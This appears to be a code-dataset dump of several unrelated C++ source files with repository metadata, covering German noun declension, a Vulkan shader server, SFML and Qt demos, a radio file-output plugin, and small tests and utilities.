null
grammar/src/noun.hpp
Agapanthus/grammar
41f14c761174d8518e206b4c78fc4ddffd429d74
[ "MIT" ]
null
null
null
#pragma once #include "grammar.hpp" enum class NounType { Name, Noun, Numeral, Toponym, Incomplete, }; const static thread_local vector<string> nDeclSuffix = { "and", "ant", "at", "end", "et", "ent", "graph", "ist", "ik", "it", "loge", "nom", "ot", "soph", "urg"}; class Noun : public WithCases { // See // http://www.dietz-und-daf.de/GD_DkfA/Gramm-List.htm public: bool noPlural, noSingular; NounType type; Genus genus; Noun() : noPlural(false), noSingular(false) {} ////////////////////////////////////////////// string ns() const; // Tests if n is a nominative singular bool ns(const stringLower &n) const { for (const stringLower s : nominative.singular) if (s == n) return true; return false; } // Don't use this if you can have a dictionary string npWithoutDict(const bool forceArtificial = false) const { if (noPlural) return ""; if (forceArtificial || nominative.plural.empty()) return npRules(forceArtificial); return nominative.plural[0]; } string np(const Dictionary &dict, bool forceArtificial = false) const; // Warning: This one is a little less robust than the test for the other // cases bool np(const Dictionary &dict, const stringLower &n) const { for (const stringLower s : nominative.plural) if (s == n) return true; if (nominative.plural.empty()) if (n == stringLower(np(dict))) return true; return false; } string gs(const Dictionary &dict, const bool forceArtificial = false) const { if (noSingular) return ""; if (forceArtificial || genitive.singular.empty()) return gsRules(forceArtificial); return genitive.singular[0]; } // TODO: quite vague test bool gs(const Dictionary &dict, const stringLower &test) const { if (noSingular) return false; for (const stringLower g : genitive.singular) { if (g == test) return true; } if (genitive.singular.empty()) { const string ns = stringLower(this->ns()); const bool m = genus.empty() || genus.m; const bool f = genus.empty() || genus.f; const bool n = genus.empty() || genus.n; if (isNDeclination()) { if (endsWith(ns, "e")) return ns + "n" == test; return ns + "en" == test; } else if ((n || m) && endsWithAny(ns, sibilants)) { return ns + "es" == test; } else if (test == stringLower(gs(dict))) { return true; } else if (ns == test || ns + "s" == test) { return true; } } return false; } string gp(const Dictionary &dict, const bool forceArtificial = false) const { if (noPlural) return ""; if (forceArtificial || genitive.plural.empty()) return np(dict, false); return genitive.plural[0]; } bool gp(const Dictionary &dict, const stringLower &test) const { if (noPlural) return false; for (const stringLower g : genitive.plural) { if (g == test) return true; } if (genitive.plural.empty()) { return np(dict, test); } return false; } string ds(const bool forceArtificial = false) const { if (noSingular) return ""; if (forceArtificial || dative.singular.empty()) { const string ns = this->ns(); const bool m = genus.empty() || genus.m; if (m && endsWithAny(ns, nDeclSuffix)) { return ns + "en"; } else if (endsWithAny(ns, {"er", "ar", "är", "eur", "ier", "or"})) { return ns; } if (isNDeclination()) { if (endsWith(ns, "e")) { // missing: Bauer, Herr, Nachbar, Ungar... return ns + "n"; } else if (!endsWithAny(ns, vocals) && !endsWith(ns, "n")) { return ns + "en"; } } return ns; } return dative.singular[0]; } bool ds(const stringLower &test) const { if (noSingular) return ""; for (const stringLower g : dative.singular) { if (g == test) return true; } if (dative.singular.empty()) { return ds() == test; } return false; } string dp(const Dictionary &dict, const bool forceArtificial = false) const { if (noPlural) return ""; if (forceArtificial || dative.plural.empty()) { const string np = this->np(dict, false); if (endsWithAny(np, {"e", "er", "el", "erl"}) && !endsWithAny(np, {"ae"})) return np + "n"; return np; } return dative.plural[0]; } bool dp(const Dictionary &dict, const stringLower &test) const { if (noPlural) return false; for (const stringLower g : dative.plural) { if (g == test) return true; } if (dative.plural.empty()) { const string np = this->np(dict); if (endsWithAny(np, {"e", "er", "el", "erl"}) && !endsWithAny(np, {"ae"})) { if (!endsWith(test, "n")) return false; } return this->np(dict, test); } return false; } string as(const bool forceArtificial = false) const { if (noSingular) return ""; if (forceArtificial || accusative.singular.empty()) { return ds(); } return accusative.singular[0]; } bool as(const stringLower &test) const { if (noSingular) return ""; for (const stringLower g : accusative.singular) { if (g == test) return true; } if (accusative.singular.empty()) { return as() == test; } return false; } string ap(const Dictionary &dict, const bool forceArtificial = false) const { if (noPlural) return ""; if (forceArtificial || accusative.plural.empty()) return np(dict, false); return accusative.plural[0]; } bool ap(const Dictionary &dict, const stringLower test) const { if (noPlural) return false; for (const stringLower g : accusative.plural) { if (g == test) return true; } if (accusative.plural.empty()) { return np(dict, test); } return false; } //////////////////////////////////////////////////////////////////////////// bool isNDeclination(bool forceArtificial = false) const; string npRules(const bool forceArtificial = false) const; string gsRules(const bool forceArtificial = false) const; bool nullArticle() const { // TODO return false; } //////////////////////////////////////////////////////////////////////////// string get(const Cases &c, bool plural, const Dictionary &dict, bool fa = false) const { switch (c) { case Cases::Nominative: return !plural ? ns() : np(dict, fa); break; case Cases::Genitive: return !plural ? gs(dict, fa) : gp(dict, fa); break; case Cases::Dative: return !plural ? ds(fa) : dp(dict, fa); break; case Cases::Accusative: return !plural ? as(fa) : ap(dict, fa); break; } } bool test(const Cases &c, bool plural, const Dictionary &dict, const string &t) const { switch (c) { case Cases::Nominative: return !plural ? ns(t) : np(dict, t); break; case Cases::Genitive: return !plural ? gs(dict, t) : gp(dict, t); break; case Cases::Dative: return !plural ? ds(t) : dp(dict, t); break; case Cases::Accusative: return !plural ? as(t) : ap(dict, t); break; } } bool predefined(const Cases &c, bool plural) const { if (plural) return !cases[size_t(c)].plural.empty() && !cases[size_t(c)].plural[0].empty(); else return !cases[size_t(c)].singular.empty() && !cases[size_t(c)].singular[0].empty(); } //////////////////////////////////////////////////////////////////////////// void serialize(ostream &out) const { WithCases::serialize(out); genus.serialize(out); out << noSingular << " " << noPlural << " " << (int)type << " "; } void deserialize(istream &in) { WithCases::deserialize(in); genus.deserialize(in); int temp; in >> noSingular >> noPlural >> temp; type = (NounType)temp; } void buildMap(map<string, vector<Word>> &dict) const { Word me({this, WordType::Noun}); nominative.buildMap(me, dict); } };
30.04717
80
0.480167
Agapanthus
cf11bcd06d0a0f15bb63f81dd89d5236e7b3cf9a
2,925
cpp
C++
tests/resources_monitor.cpp
AperLambda/IonicEngine
415d83698630cd23f5bf7645e234086a2f67815f
[ "MIT" ]
3
2019-06-19T09:30:53.000Z
2022-01-17T16:19:41.000Z
tests/resources_monitor.cpp
AperLambda/IonicEngine
415d83698630cd23f5bf7645e234086a2f67815f
[ "MIT" ]
null
null
null
tests/resources_monitor.cpp
AperLambda/IonicEngine
415d83698630cd23f5bf7645e234086a2f67815f
[ "MIT" ]
null
null
null
/* * Copyright © 2018 AperLambda <aperlambda@gmail.com> * * This file is part of IonicEngine. * * Licensed under the MIT license. For more information, * see the LICENSE file. */ #include <ionicengine/graphics/screen.h> #include <ionicengine/graphics/animation.h> #include <ionicengine/input/inputmanager.h> #include <lambdacommon/system/system.h> using namespace ionicengine; using namespace lambdacommon; class MainScreen : public Screen { private: Font _font; GuiProgressBar *progress_bar = nullptr; public: explicit MainScreen(const Font &font) : _font(font) { set_background_color(color::from_hex(0xEEEEEEFF)); } void init() override { progress_bar = new GuiProgressBar(5, 10 + _font.get_height(), 300, 15); progress_bar->set_color(color::from_hex(0x26A1DCFF)); components.push_back(progress_bar); auto button = new GuiButton(5, 20 + 15 + _font.get_height(), 150, 24, "Quit"); button->set_font(&_font); button->set_activate_listener([](Window &window) { window.set_should_close(true); }); components.push_back(button); } void draw(Graphics *graphics) override { graphics->set_color(Color::COLOR_BLACK); graphics->draw_text(_font, 5, 5, "Memory: " + std::to_string(system::get_memory_used() / 1073741824.0) + "GB / " + std::to_string(system::get_memory_total() / 1073741824.0) + "GB (" + std::to_string(progress_bar->get_progress()) + "%)"); Screen::draw(graphics); } void update() override { Screen::update(); float usage = static_cast<float>(system::get_memory_used()) / system::get_memory_total(); progress_bar->set_progress(static_cast<uint32_t>(usage * 100)); } }; int main() { terminal::setup(); std::cout << "Running ionic_image with IonicEngine v" + ionicengine::get_version() << "...\n"; IonicOptions ionic_options; ionic_options.use_controllers = false; ionic_options.debug = true; if (!ionicengine::init(ionic_options)) return EXIT_FAILURE; ScreenManager screens{}; WindowOptions options{}; options.context_version_major = 3; options.context_version_minor = 3; options.opengl_profile = GLFW_OPENGL_CORE_PROFILE; #ifdef LAMBDA_MAC_OSX options.opengl_forward_compat = true; #endif auto window = window::create_window("IonicEngine - Basic resources monitor", 310, 80, options); window.request_context(); if (!ionicengine::post_init()) { ionicengine::shutdown(); return EXIT_FAILURE; } auto font = ionicengine::get_font_manager()->load_font({"google:fonts/roboto"}, std::string{"Roboto.ttf"}, 14); if (!font) { ionicengine::shutdown(); return EXIT_FAILURE; } ResourceName screens_image{"ionic_tests:screens/resources_monitor"}; MainScreen screen{font.value()}; screens.register_screen(screens_image, &screen); screens.set_active_screen(screens_image); get_graphics_manager()->init(); screens.attach_window(window); screens.start_loop(); ionicengine::shutdown(); return EXIT_SUCCESS; }
26.590909
112
0.728889
AperLambda
cf120479d17ad251ceacc3dbcd1a134cd43e81f0
848
cpp
C++
week27/J.cpp
webturing/ACMProgramming2020
94c01645420c5fbc303a0eb1ed74ebb6679ab398
[ "MIT" ]
3
2020-05-31T08:41:56.000Z
2020-09-27T15:14:03.000Z
week27/J.cpp
webturing/ACMProgramming2020
94c01645420c5fbc303a0eb1ed74ebb6679ab398
[ "MIT" ]
null
null
null
week27/J.cpp
webturing/ACMProgramming2020
94c01645420c5fbc303a0eb1ed74ebb6679ab398
[ "MIT" ]
null
null
null
#pragma comment(linker, "/stack:247474112") #pragma GCC optimize("Ofast") #include <bits/stdc++.h> using namespace std; using ll=long long; template<typename T=int> inline void oo(const string &str, T val) { cerr << str << val << endl; } template<typename T=int> inline T in() { T x; cin >> x; return x; } #define endl '\n' #define rep(i, x, y) for (decay<decltype(y)>::type i = (x), _##i = (y); i < _##i; ++i) #define per(i, x, y) for (decay<decltype(x)>::type i = (x), _##i = (y); i > _##i; --i) ll r(ll n) { ll m = 0; while (n) { m = m * 10 + n % 10; n /= 10; } return m; } int main() { ios::sync_with_stdio(false); cin.tie(nullptr); cout.tie(nullptr); for (ll a, b; cin >> a >> b;) { cout << r(r(a) * r(b)) << endl; } return 0; } /** * 1. 简单子函数 * 2. 整数反转 */
18.434783
86
0.51533
webturing
cf15f637599c1af1537245c942f98a31735e493a
8,582
cc
C++
code/render/coregraphics/vk/vkshaderserver.cc
Nechrito/nebula
6c7ef27ab1374d3f751d866500729524f72a0c87
[ "BSD-2-Clause" ]
null
null
null
code/render/coregraphics/vk/vkshaderserver.cc
Nechrito/nebula
6c7ef27ab1374d3f751d866500729524f72a0c87
[ "BSD-2-Clause" ]
null
null
null
code/render/coregraphics/vk/vkshaderserver.cc
Nechrito/nebula
6c7ef27ab1374d3f751d866500729524f72a0c87
[ "BSD-2-Clause" ]
null
null
null
//------------------------------------------------------------------------------ // vkshaderserver.cc // (C) 2016-2020 Individual contributors, see AUTHORS file //------------------------------------------------------------------------------ #include "render/stdneb.h" #include "vkshaderserver.h" #include "effectfactory.h" #include "coregraphics/shaderpool.h" #include "vkgraphicsdevice.h" #include "vkshaderpool.h" #include "vkshader.h" using namespace Resources; using namespace CoreGraphics; namespace Vulkan { __ImplementClass(Vulkan::VkShaderServer, 'VKSS', Base::ShaderServerBase); __ImplementSingleton(Vulkan::VkShaderServer); //------------------------------------------------------------------------------ /** */ VkShaderServer::VkShaderServer() { __ConstructSingleton; } //------------------------------------------------------------------------------ /** */ VkShaderServer::~VkShaderServer() { __DestructSingleton; } //------------------------------------------------------------------------------ /** */ bool VkShaderServer::Open() { n_assert(!this->IsOpen()); // create anyfx factory this->factory = n_new(AnyFX::EffectFactory); ShaderServerBase::Open(); auto func = [](uint32_t& val, IndexT i) -> void { val = i; }; this->texture2DPool.SetSetupFunc(func); this->texture2DPool.Resize(MAX_2D_TEXTURES); this->texture2DMSPool.SetSetupFunc(func); this->texture2DMSPool.Resize(MAX_2D_MS_TEXTURES); this->texture3DPool.SetSetupFunc(func); this->texture3DPool.Resize(MAX_3D_TEXTURES); this->textureCubePool.SetSetupFunc(func); this->textureCubePool.Resize(MAX_CUBE_TEXTURES); this->texture2DArrayPool.SetSetupFunc(func); this->texture2DArrayPool.Resize(MAX_2D_ARRAY_TEXTURES); // create shader state for textures, and fetch variables ShaderId shader = VkShaderServer::Instance()->GetShader("shd:shared.fxb"_atm); this->texture2DTextureVar = ShaderGetResourceSlot(shader, "Textures2D"); this->texture2DMSTextureVar = ShaderGetResourceSlot(shader, "Textures2DMS"); this->texture2DArrayTextureVar = ShaderGetResourceSlot(shader, "Textures2DArray"); this->textureCubeTextureVar = ShaderGetResourceSlot(shader, "TexturesCube"); this->texture3DTextureVar = ShaderGetResourceSlot(shader, "Textures3D"); this->tableLayout = ShaderGetResourcePipeline(shader); this->ticksCbo = CoreGraphics::GetGraphicsConstantBuffer(MainThreadConstantBuffer); this->cboSlot = ShaderGetResourceSlot(shader, "PerTickParams"); this->resourceTables.Resize(CoreGraphics::GetNumBufferedFrames()); IndexT i; for (i = 0; i < this->resourceTables.Size(); i++) { this->resourceTables[i] = ShaderCreateResourceTable(shader, NEBULA_TICK_GROUP); // fill up all slots with placeholders IndexT j; for (j = 0; j < MAX_2D_TEXTURES; j++) ResourceTableSetTexture(this->resourceTables[i], {CoreGraphics::White2D, this->texture2DTextureVar, j, CoreGraphics::SamplerId::Invalid(), false}); for (j = 0; j < MAX_2D_MS_TEXTURES; j++) ResourceTableSetTexture(this->resourceTables[i], { CoreGraphics::White2D, this->texture2DMSTextureVar, j, CoreGraphics::SamplerId::Invalid(), false }); for (j = 0; j < MAX_3D_TEXTURES; j++) ResourceTableSetTexture(this->resourceTables[i], { CoreGraphics::White3D, this->texture3DTextureVar, j, CoreGraphics::SamplerId::Invalid(), false }); for (j = 0; j < MAX_CUBE_TEXTURES; j++) ResourceTableSetTexture(this->resourceTables[i], { CoreGraphics::WhiteCube, this->textureCubeTextureVar, j, CoreGraphics::SamplerId::Invalid(), false }); for (j = 0; j < MAX_2D_ARRAY_TEXTURES; j++) ResourceTableSetTexture(this->resourceTables[i], { CoreGraphics::White2DArray, this->texture2DArrayTextureVar, j, CoreGraphics::SamplerId::Invalid(), false }); ResourceTableCommitChanges(this->resourceTables[i]); } this->normalBufferTextureVar = ShaderGetConstantBinding(shader, "NormalBuffer"); this->depthBufferTextureVar = ShaderGetConstantBinding(shader, "DepthBuffer"); this->specularBufferTextureVar = ShaderGetConstantBinding(shader, "SpecularBuffer"); this->albedoBufferTextureVar = ShaderGetConstantBinding(shader, "AlbedoBuffer"); this->emissiveBufferTextureVar = ShaderGetConstantBinding(shader, "EmissiveBuffer"); this->lightBufferTextureVar = ShaderGetConstantBinding(shader, "LightBuffer"); this->environmentMapVar = ShaderGetConstantBinding(shader, "EnvironmentMap"); this->irradianceMapVar = ShaderGetConstantBinding(shader, "IrradianceMap"); this->numEnvMipsVar = ShaderGetConstantBinding(shader, "NumEnvMips"); return true; } //------------------------------------------------------------------------------ /** */ void VkShaderServer::Close() { n_assert(this->IsOpen()); n_delete(this->factory); IndexT i; for (i = 0; i < this->resourceTables.Size(); i++) { DestroyResourceTable(this->resourceTables[i]); } ShaderServerBase::Close(); } //------------------------------------------------------------------------------ /** */ uint32_t VkShaderServer::RegisterTexture(const CoreGraphics::TextureId& tex, bool depth, CoreGraphics::TextureType type) { uint32_t idx; IndexT var; switch (type) { case Texture2D: n_assert(!this->texture2DPool.IsFull()); idx = this->texture2DPool.Alloc(); var = this->texture2DTextureVar; break; case Texture2DArray: n_assert(!this->texture2DArrayPool.IsFull()); idx = this->texture2DArrayPool.Alloc(); var = this->texture2DArrayTextureVar; break; case Texture3D: n_assert(!this->texture3DPool.IsFull()); idx = this->texture3DPool.Alloc(); var = this->texture3DTextureVar; break; case TextureCube: n_assert(!this->textureCubePool.IsFull()); idx = this->textureCubePool.Alloc(); var = this->textureCubeTextureVar; break; } ResourceTableTexture info; info.tex = tex; info.index = idx; info.sampler = SamplerId::Invalid(); info.isDepth = false; info.slot = var; // update textures for all tables IndexT i; for (i = 0; i < this->resourceTables.Size(); i++) { ResourceTableSetTexture(this->resourceTables[i], info); } return idx; } //------------------------------------------------------------------------------ /** */ void VkShaderServer::UnregisterTexture(const uint32_t id, const CoreGraphics::TextureType type) { switch (type) { case Texture2D: this->texture2DPool.Free(id); break; case Texture2DArray: this->texture2DArrayPool.Free(id); break; case Texture3D: this->texture3DPool.Free(id); break; case TextureCube: this->textureCubePool.Free(id); break; } } //------------------------------------------------------------------------------ /** */ void VkShaderServer::SetGlobalEnvironmentTextures(const CoreGraphics::TextureId& env, const CoreGraphics::TextureId& irr, const SizeT numMips) { this->tickParams.EnvironmentMap = CoreGraphics::TextureGetBindlessHandle(env); this->tickParams.IrradianceMap = CoreGraphics::TextureGetBindlessHandle(irr); this->tickParams.NumEnvMips = numMips; } //------------------------------------------------------------------------------ /** */ void VkShaderServer::SetupGBufferConstants() { this->tickParams.NormalBuffer = TextureGetBindlessHandle(CoreGraphics::GetTexture("NormalBuffer")); this->tickParams.DepthBuffer = TextureGetBindlessHandle(CoreGraphics::GetTexture("ZBuffer")); this->tickParams.SpecularBuffer = TextureGetBindlessHandle(CoreGraphics::GetTexture("SpecularBuffer")); this->tickParams.AlbedoBuffer = TextureGetBindlessHandle(CoreGraphics::GetTexture("AlbedoBuffer")); this->tickParams.EmissiveBuffer = TextureGetBindlessHandle(CoreGraphics::GetTexture("EmissiveBuffer")); this->tickParams.LightBuffer = TextureGetBindlessHandle(CoreGraphics::GetTexture("LightBuffer")); } //------------------------------------------------------------------------------ /** */ void VkShaderServer::BeforeView() { // just allocate the memory this->cboOffset = CoreGraphics::AllocateGraphicsConstantBufferMemory(MainThreadConstantBuffer, sizeof(Shared::PerTickParams)); IndexT bufferedFrameIndex = GetBufferedFrameIndex(); // update resource table ResourceTableSetConstantBuffer(this->resourceTables[bufferedFrameIndex], { this->ticksCbo, this->cboSlot, 0, false, false, sizeof(Shared::PerTickParams), (SizeT)this->cboOffset }); ResourceTableCommitChanges(this->resourceTables[bufferedFrameIndex]); } //------------------------------------------------------------------------------ /** */ void VkShaderServer::AfterView() { // update the constant buffer with the data accumulated in this frame CoreGraphics::SetGraphicsConstants(MainThreadConstantBuffer, this->cboOffset, this->tickParams); } } // namespace Vulkan
33.787402
181
0.677231
Nechrito
cf1c6c7306e07fb8241178d2c27e97f9aa7d7ffe
285
hpp
C++
examples/wifi/GUI/aboutwindow.hpp
balsini/metasim
e20a2313b18bb943d766dc1ecf3c61cf28d956f2
[ "Naumen", "Condor-1.1", "MS-PL" ]
null
null
null
examples/wifi/GUI/aboutwindow.hpp
balsini/metasim
e20a2313b18bb943d766dc1ecf3c61cf28d956f2
[ "Naumen", "Condor-1.1", "MS-PL" ]
null
null
null
examples/wifi/GUI/aboutwindow.hpp
balsini/metasim
e20a2313b18bb943d766dc1ecf3c61cf28d956f2
[ "Naumen", "Condor-1.1", "MS-PL" ]
null
null
null
#ifndef ABOUTWINDOW_H #define ABOUTWINDOW_H #include <QWidget> namespace Ui { class AboutWindow; } class AboutWindow : public QWidget { Q_OBJECT public: explicit AboutWindow(QWidget *parent = 0); ~AboutWindow(); private: Ui::AboutWindow *ui; }; #endif // ABOUTWINDOW_H
12.391304
44
0.722807
balsini
cf1c827ee1cc6883e07ac694c17e07c0a3c17b62
1,839
cpp
C++
tests/core/parsers_tests.cpp
AlexanderJDupree/ChocAn
a99634a030a093a9908d0e44363e2ca4d9b4eb4b
[ "MIT" ]
1
2019-10-24T02:34:45.000Z
2019-10-24T02:34:45.000Z
tests/core/parsers_tests.cpp
AlexanderJDupree/ChocAn
a99634a030a093a9908d0e44363e2ca4d9b4eb4b
[ "MIT" ]
46
2019-10-11T20:29:02.000Z
2019-12-07T04:21:34.000Z
tests/core/parsers_tests.cpp
AlexanderJDupree/ChocAn
a99634a030a093a9908d0e44363e2ca4d9b4eb4b
[ "MIT" ]
2
2019-11-21T16:59:55.000Z
2022-03-02T22:35:05.000Z
/* File: parsers_test.cpp Brief: Unit tests for parsers utility Authors: Daniel Mendez Alex Salazar Arman Alauizadeh Alexander DuPree Kyle Zalewski Dominique Moore https://github.com/AlexanderJDupree/ChocAn */ #include <catch.hpp> #include <ChocAn/core/utils/parsers.hpp> TEST_CASE("Splitting a string on a delimiter", "[split], [parsers]") { using namespace Parsers; SECTION("Tokenizing the empty string returns the empty vector") { REQUIRE(split("", ",").empty()); } SECTION("Tokenizing a string with no matching delimiters returns the entire string") { REQUIRE(split("Hello World", "bad_delim").front() == "Hello World"); } SECTION("Tokenizing a string with a matching delmiters returns a tokenized string") { std::vector<std::string> expected { "A", "B", "C" }; REQUIRE(split(join(expected, "-"), "-") == expected); } } TEST_CASE("Joining a string from tokens", "[join], [parsers]") { using namespace Parsers; SECTION("Joining a string from multiple tokens") { std::vector<std::string> tokens { "A", "B", "C" }; REQUIRE(join(tokens, "-") == "A-B-C"); } SECTION("Joining an empty set of tokens returns the empty string") { REQUIRE(join({}, "-") == ""); } } TEST_CASE("Parsing datetime into DateTime objects", "[parse_date], [parsers]") { using namespace Parsers; SECTION("Parsing a valid string in the form MM/DD/YY") { DateTime expected(Month(12), Day(10), Year(2019)); REQUIRE(parse_date("12/10/2019", "MM/DD/YYYY", "/") == expected); } SECTION("Parsing a string with mismatched tokens results in an exception") { REQUIRE_THROWS_AS(parse_date("12/10", "MM-DD-YYYY", "/"), invalid_datetime); } }
25.901408
88
0.616639
AlexanderJDupree
cf1cd214b161e28649c4865764e7856ce5965c86
2,468
cpp
C++
share/crts/plugins/Filters/fileOut.cpp
xywzwd/VT-Wireless
ec42e742e2be26310df4b25cef9cea873896890b
[ "MIT" ]
6
2019-01-05T08:30:32.000Z
2022-03-10T08:19:57.000Z
share/crts/plugins/Filters/fileOut.cpp
xywzwd/VT-Wireless
ec42e742e2be26310df4b25cef9cea873896890b
[ "MIT" ]
4
2019-10-18T14:31:04.000Z
2020-10-16T16:52:30.000Z
share/crts/plugins/Filters/fileOut.cpp
xywzwd/VT-Wireless
ec42e742e2be26310df4b25cef9cea873896890b
[ "MIT" ]
5
2017-05-12T21:24:18.000Z
2022-03-10T08:20:02.000Z
#include <stdio.h> #include <string.h> #include <string> #include "crts/debug.h" #include "crts/Filter.hpp" #include "crts/crts.hpp" // for: FILE *crtsOut class FileOut : public CRTSFilter { public: FileOut(int argc, const char **argv); ~FileOut(void); ssize_t write(void *buffer, size_t bufferLen, uint32_t channelNum); private: FILE *file; }; // This is called if the user ran something like: // // crts_radio -f file [ --help ] // // static void usage(void) { char name[64]; fprintf(crtsOut, "Usage: %s [ OUT_FILENAME ]\n" "\n" " The option OUT_FILENAME is optional. The default\n" " output file is something like stdout.\n" "\n" "\n" , CRTS_BASENAME(name, 64)); throw ""; // This is how return an error from a C++ constructor // the module loader with catch this throw. } FileOut::FileOut(int argc, const char **argv): file(0) { const char *filename = 0; DSPEW(); if(argc > 1 || (argc == 1 && argv[0][0] == '-')) usage(); else if(argc == 1) filename = argv[0]; if(filename) { file = fopen(filename, "a"); if(!file) { std::string str("fopen(\""); str += filename; str += "\", \"a\") failed"; // This is how return an error from a C++ constructor // the module loader with catch this throw. throw str; } INFO("opened file: %s", filename); } else file = crtsOut; // like stdout but not polluted by libuhd DSPEW(); } FileOut::~FileOut(void) { if(file && file != crtsOut) fclose(file); file = 0; DSPEW(); } ssize_t FileOut::write(void *buffer, size_t len, uint32_t channelNum) { DASSERT(buffer, ""); DASSERT(len, ""); // This filter is a sink, the end of the line, so we do not call // writePush(). We write no matter what channel it is. errno = 0; size_t ret = fwrite(buffer, 1, len, file); if(ret != len && errno == EINTR) { // One more try, because we where interrupted errno = 0; ret += fwrite(buffer, 1, len - ret, file); } if(ret != len) NOTICE("fwrite(,1,%zu,) only wrote %zu bytes", len, ret); fflush(file); return ret; } // Define the module loader stuff to make one of these class objects. CRTSFILTER_MAKE_MODULE(FileOut)
21.275862
75
0.552269
xywzwd
cf2141384bbe6594f49112aa14701485cb584e07
490
cpp
C++
44_StackInheritance/src/Stack.cpp
jonixis/CPP18
0dfe165f22a3cbef9e8cda102196d53d3e120e57
[ "MIT" ]
null
null
null
44_StackInheritance/src/Stack.cpp
jonixis/CPP18
0dfe165f22a3cbef9e8cda102196d53d3e120e57
[ "MIT" ]
null
null
null
44_StackInheritance/src/Stack.cpp
jonixis/CPP18
0dfe165f22a3cbef9e8cda102196d53d3e120e57
[ "MIT" ]
null
null
null
#include "Stack.h" #include <iostream> Stack::Stack() : sp(256) { } Stack::~Stack() { } void Stack::push(int i) { if (full()) { std::cout << "Element '" << i << "' could not be pushed. Stack full!" << std::endl; return; } s[--sp] = i; } int Stack::pop() { if (empty()) { std::cout << "Stack Empty! Following pops are not from stack!" << std::endl; } return s[sp++]; } bool Stack::empty() { return sp == 256; } bool Stack::full() { return sp == 0; }
16.333333
86
0.528571
jonixis
cf295c30acc4633c02fafae8a08e9d396738b3dc
2,129
cpp
C++
FireWok/main.cpp
davidkron/AECE
83b0f288b84b16755df2e5a0d5d401f0e9a7dceb
[ "MIT" ]
null
null
null
FireWok/main.cpp
davidkron/AECE
83b0f288b84b16755df2e5a0d5d401f0e9a7dceb
[ "MIT" ]
null
null
null
FireWok/main.cpp
davidkron/AECE
83b0f288b84b16755df2e5a0d5d401f0e9a7dceb
[ "MIT" ]
null
null
null
#include <SFML/Graphics.hpp> #include <SFML/Audio.hpp> #include <iostream> #include <Engine.hpp> using namespace sf; class AECEWrapper { std::map<std::string, std::unique_ptr<sf::Music>> _songs; std::unique_ptr<AECE::Engine> _engine; public: AECEWrapper() { std::unique_ptr<sf::Music> music = std::make_unique<sf::Music>(); music->openFromFile("Songs/Alan_Walker_Fade.ogg"); auto song = AECE::SongWithAef("Songs/Alan_Walker_Fade.ogg", "Songs/Alan_Walker_Fade.aef", "Fade", music->getDuration().asMicroseconds()); std::vector<AECE::SongWithAef> songsWithAef; songsWithAef.push_back(song); _songs["Fade"] = std::move(music); _engine = std::make_unique<AECE::Engine>(songsWithAef, [=](std::string song) { _songs[song]->play(); }, [=](std::string song) { return _songs[song]->getPlayingOffset().asMicroseconds(); } ); } void Play(std::string song) { _engine->StartPlaying(song); } std::vector<AECE::AudioEvent> QueryEvents() { return _engine->QueryEvents(); } }; int main() { RenderWindow window(VideoMode(200, 200), "SFML works!"); CircleShape shape(100.f); shape.setFillColor(Color::Green); AECEWrapper engine; engine.Play("Fade"); window.setFramerateLimit(30); while (window.isOpen()) { Event event; if (shape.getFillColor() == Color::Red) shape.setFillColor(Color::Green); while (window.pollEvent(event)) { if (event.type == Event::Closed) window.close(); if (event.type == sf::Event::EventType::KeyPressed){ if (event.key.code == sf::Keyboard::Key::Up) shape.setFillColor(Color::Red); } } for (auto &event : engine.QueryEvents()) { shape.setFillColor(Color::Red); } window.clear(); window.draw(shape); window.display(); } return 0; }
28.386667
132
0.554251
davidkron
cf2b78ba80844b0204d5e57701ba53b4bb39c3ab
2,195
cpp
C++
software/MFrame/MIcon/MIcon.TIFF.cpp
mihaip/mscape
fc83fc85dc40e4f171d759a916073b299e360d87
[ "Apache-2.0" ]
null
null
null
software/MFrame/MIcon/MIcon.TIFF.cpp
mihaip/mscape
fc83fc85dc40e4f171d759a916073b299e360d87
[ "Apache-2.0" ]
null
null
null
software/MFrame/MIcon/MIcon.TIFF.cpp
mihaip/mscape
fc83fc85dc40e4f171d759a916073b299e360d87
[ "Apache-2.0" ]
null
null
null
#include "MIcon.h" void MIcon::LoadTIFF(void) { unsigned long imageCount; Rect bounds; OSErr myErr = noErr; GraphicsImportComponent importer = NULL; unsigned char *icon, *mask; FSSpec targetFile; int height, iconName, mask8Name, mask1Name; GWorldPtr iconGW, mask8GW, mask1GW; PixMapHandle iconPix, mask8Pix, mask1Pix; members = 0; // get a graphics importer for the image file and determine the natural size of the image targetFile = file.GetAssociatedFile(); myErr = GetGraphicsImporterForFile(&targetFile, &importer); if (myErr != noErr) goto bail; GraphicsImportGetImageCount(importer, &imageCount); for (int i=1; i <= imageCount; i++) { myErr = GraphicsImportSetImageIndex(importer, i); if (myErr != noErr) goto bail; myErr = GraphicsImportGetNaturalBounds(importer, &bounds); if (myErr != noErr) goto bail; if (bounds.bottom > 63) height = 128; else if (bounds.bottom > 40) height = 48; else if (bounds.bottom > 24) height = 32; else height = 16; iconName = GetPixName(height, 32, true); mask8Name = GetPixName(height, 8, false); mask1Name = GetPixName(height, 1, false); GetGWorldAndPix(iconName, &iconGW, &iconPix); GetGWorldAndPix(mask8Name, &mask8GW, &mask8Pix); GetGWorldAndPix(mask1Name, &mask1GW, &mask1Pix); bounds = (**iconPix).bounds; // set the current port and draw GraphicsImportSetGWorld(importer, iconGW, NULL); GraphicsImportDraw(importer); icon = (unsigned char*)(**iconPix).baseAddr; mask = (unsigned char*)(**mask8Pix).baseAddr; for (int j=0, k=0; j < bounds.bottom * bounds.right; j++, k+=4) mask[j] = icon[k]; if (IsEmptyPixMap(mask8Pix)) for (int j=0; j < bounds.bottom * bounds.right; j++) mask[j] = 0xFF; else for (int j=0, k=0; j < bounds.bottom * bounds.right; j++, k+=4) if (mask[j] == 0) *(long*)(&icon[k]) = 0x00FFFFFF; if (height != 128) Mask8ToMask1(mask8Pix, mask1Pix); members |= (iconName | mask8Name | mask1Name); } bail: if (myErr != noErr) if (importer != NULL) CloseComponent(importer); } void MIcon::SaveTIFF(void) { GraphicsImportComponent exporer = NULL; }
25.823529
92
0.663326
mihaip
cf2ba49e38d43e46baaa6e9d5849109620decc8c
744
hpp
C++
Magic_Recode/Header++/Chat_Print_Formatted/Functions/Chat_Print_Formatted_Redirect_Chat_Print_Formatted.hpp
PMArkive/Magic_Recode
2ca336650a25ccc95eba17d67e18f196010f0e47
[ "Unlicense" ]
null
null
null
Magic_Recode/Header++/Chat_Print_Formatted/Functions/Chat_Print_Formatted_Redirect_Chat_Print_Formatted.hpp
PMArkive/Magic_Recode
2ca336650a25ccc95eba17d67e18f196010f0e47
[ "Unlicense" ]
null
null
null
